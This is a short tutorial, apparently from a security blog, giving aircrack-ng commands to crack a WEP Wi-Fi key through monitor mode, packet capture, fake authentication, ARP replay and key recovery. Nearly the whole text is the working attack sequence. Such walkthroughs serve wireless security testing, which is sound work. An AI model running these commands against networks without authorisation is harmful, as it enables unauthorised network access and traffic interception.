Cracking, Network, Wireless

WEP Fake Authentication Attack

Wep Fake Authentication attack with aircrack-ng suite.

Place your wireless card into Monitor Mode

airmon-ng start wlan0

Detect all available wireless AP’s and clients

airodump-ng mon0

Setting adapter channel

iwconfig mon0 channel <channel_number>


airodump-ng --channel <channel_number> --bssid <bssid> --write capture mon0

no connected clients are present, we use fake authentication attack

aireplay-ng --fakeauth 1000 -q 10 -a <bssid> -h <source_mac_address> mon0

–fakeauth use fake authentication attack with a delay of 1000 milliseconds
-q 10 send keepalives every 10 seconds

Launch ARP replay attack

aireplay-ng --arpreplay -b <bssid> -h <source_mac_address> mon0

Obtain WEP key

aircrack-ng capture-01.cap